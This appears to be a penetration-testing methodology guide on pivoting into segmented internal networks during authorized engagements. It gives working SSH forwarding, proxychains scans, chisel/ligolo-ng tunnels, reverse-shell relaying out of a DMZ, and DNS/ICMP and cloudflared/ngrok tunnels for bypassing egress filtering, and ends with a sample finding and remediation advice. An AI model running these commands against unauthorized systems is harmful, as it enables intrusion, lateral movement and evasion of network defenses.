Pivoting into segmented internal networks during authorized engagements via SSH local/remote/dynamic forwarding, SOCKS proxies with proxychains, and modern tunneling tools (chisel, ligolo-ng, socat, sshuttle) plus egress-restricted options (DNS/ICMP tunnels, cloudflared, ngrok, frp) to reach otherwise unreachable hosts.
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Pivoting into segmented internal networks during authorized engagements via SSH local/remote/dynamic forwarding, SOCKS proxies with proxychains, and modern tunneling tools (chisel, ligolo-ng, socat, sshuttle) plus egress-restricted options (DNS/ICMP tunnels, cloudflared, ngrok, frp) to reach otherwise unreachable hosts.
After compromising a host that has access to a network segment you cannot reach directly
When the target sits behind a DMZ, NAT, or firewall and you need to relay traffic through a foothold
When scanning or attacking internal services (RDP, WinRM, SMB, databases) from your attack box
When egress is restricted and you must tunnel over HTTPS, DNS, or ICMP
When establishing reverse access from an internal host out to your infrastructure
Critical: Techniques Most Often Missed
Pivoting fails when testers forget that SOCKS-tunneled scans must be TCP-connect, or pick the wrong forward direction. Get the fundamentals exact.
SOCKS scans need -sT -Pn. ICMP and SYN scans cannot traverse a SOCKS proxy.
How to CONFIRM: proxychains nmap -n -Pn -sT -p445,3389 10.10.17.25 returns open ports; the same scan without -sT hangs/returns nothing.
Dynamic SSH forwarding (-D) = full SOCKS pivot. A single -D gives access to the whole reachable subnet, not just one port.
How to CONFIRM: ssh -f -N -D 1080 user@foothold, set socks4 127.0.0.1 1080 in proxychains, then proxychains curl http://internal works.
Remote forward (-R) for reverse access through a DMZ. Requires GatewayPorts yes to bind non-loopback.
How to CONFIRM: ssh -R 0.0.0.0:443:0.0.0.0:7000 user@dmzhost; a reverse shell sent to dmz:443 lands on your localhost:7000.
ligolo-ng / chisel give a routed tunnel, not just one port. A ligolo tun interface + route reaches the whole agent subnet.
How to CONFIRM: after tunnel_start + interface_add_route, nmap/curl to the agent's subnet works with no proxychains.
Version mismatch breaks chisel/ligolo silently. Client and server (agent and proxy) must be the same version.
How to CONFIRM: identical --version on both ends; the tunnel establishes and listener_list/proxychains traffic flows.
Egress-only-443 environments still tunnel. cloudflared/ngrok/frp ride outbound HTTPS; DNS/ICMP tunnels when only those leak.
How to CONFIRM: cloudflared tunnel --url ... yields a reachable trycloudflare.com URL despite blocked inbound.
Workflow
Step 1: Map Reachability from the Foothold
ip route ; ip addr ; cat /etc/hosts # what subnets does the foothold seefor i in $(seq 1 254); do (ping -c1 -W1 10.0.5.$i >/dev/null && echo"10.0.5.$i up") & done; wait# Or check listening internal services
ss -tlnp ; ss -tnp | grep ESTAB
Step 2: SSH Port Forwarding (the core primitives)
# LOCAL forward: your_port -> foothold -> third_box:port
ssh -i key user@foothold -L 631:<victim_ip>:631 -N -f
# DYNAMIC forward: SOCKS proxy through the foothold (whole subnet)
ssh -f -N -D 1080 user@foothold
echo'socks4 127.0.0.1 1080' >> /etc/proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.0.5.25
# REMOTE forward: open a port on the foothold/DMZ back to a local service
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@foothold # needs GatewayPorts yes
# cloudflared — outbound 443 only, no inbound rules needed
cloudflared tunnel --url http://localhost:8080 # -> https://<rand>.trycloudflare.com# ngrok — expose a TCP listener to the Internet
./ngrok tcp 4444 # -> 0.tcp.ngrok.io:12345# frp — reverse proxy / SSH tunnel gateway (living off the land)
./frpc -c frpc.toml # exposes local 3389 on frps:5000# DNS tunnel (root both ends) when only DNS resolves out
iodined -f -c -P pass 1.1.1.1 tunneldomain.com # server
iodine -f -P pass tunneldomain.com -r # client; then ssh -D 1080 1.1.1.2# ICMP tunnel when only ping leavessudo ptunnel-ng -p <server_ip> -l 2222 -r <dest_ip> -R 22 ; ssh -p 2222 user@127.0.0.1
Key Concepts
Concept
Description
Local forward (-L)
Binds a port on your box that tunnels to a remote host:port via the foothold
Remote forward (-R)
Opens a port on the foothold/DMZ that tunnels back to a service on your side
Dynamic forward (-D)
Turns SSH into a SOCKS proxy reaching any host the foothold can see
SOCKS + proxychains
Wrap arbitrary TCP tools to route through a proxy; requires -sT -Pn for nmap
Routed tun pivot
ligolo-ng/sshuttle create an interface+route so tools talk to the subnet directly
Reverse tunnel
Connection initiated from the internal/victim side outbound (defeats inbound ACLs)
Egress tunneling
DNS/ICMP/HTTPS channels (iodine, ptunnel-ng, cloudflared) for locked-down networks
Tools & Systems
Tool
Purpose
ssh
-L/-R/-D forwarding; the universal pivot primitive
proxychains
Force arbitrary TCP tools through a SOCKS/HTTP proxy
sshuttle
Transparent subnet-level VPN-like tunnel over SSH
chisel
Fast TCP/SOCKS tunnel over HTTP; reverse mode for NAT'd victims
ligolo-ng
Routed tun-interface pivoting (agent/proxy), no proxychains needed
socat
Flexible TCP/TLS/SOCKS relays and forwarders
cloudflared / ngrok / frp
Outbound-only tunnels that bypass ingress firewalls
iodine / ptunnel-ng / dnscat2
DNS and ICMP tunnels for egress-restricted environments
Common Scenarios
Scenario 1: SOCKS pivot to scan an internal subnet
A web server foothold reaches the 10.0.5.0/24 management VLAN. ssh -D 1080 + proxychains nmap -sT -Pn enumerates RDP/WinRM hosts unreachable from the attack box.
Scenario 2: Reverse shell out of a DMZ
An internal host can only talk to the DMZ box. ssh -R 0.0.0.0:443:0.0.0.0:7000 (GatewayPorts yes) lets the internal host send a reverse shell to dmz:443 which surfaces on the tester's localhost:7000.
Scenario 3: ligolo routed tunnel for full access
A chisel SOCKS proxy is too slow for SMB. ligolo-ng's tun interface plus a subnet route lets crackmapexec and evil-winrm talk to the subnet natively.
Scenario 4: Egress-only-443 environment
Inbound is fully blocked and only outbound 443 works. cloudflared tunnel --url socks5://localhost:1080 --socks5 provides a working SOCKS path off the host.
Output Format
## Network Pivoting Finding
**Activity**: Internal Network Pivoting
**Severity**: Informational / Methodology
**Foothold**: web01 (10.0.1.20) with route to 10.0.5.0/24 (management VLAN)
### Pivot Established
ssh -f -N -D 1080 svc@10.0.1.20
proxychains.conf: socks4 127.0.0.1 1080
### Reachable Internal Hosts (via pivot)
| Host | Port | Service |
|------|------|---------|
| 10.0.5.10 | 3389 | RDP (DC) |
| 10.0.5.25 | 5985 | WinRM |
| 10.0.5.40 | 1433 | MSSQL |
### Impact
Segmentation between the web tier and the management VLAN is not enforced
at the host level; a single web compromise exposes domain infrastructure.
### Recommendation
1. Enforce egress filtering and host-based firewalls on the web tier
2. Restrict management VLAN access to jump hosts with MFA and logging
3. Patch SSH to >= 9.6 (Terrapin CVE-2023-48795) before relying on tunnels
4. Monitor for SOCKS proxies, chisel/ligolo binaries, and anomalous DNS/ICMP volume
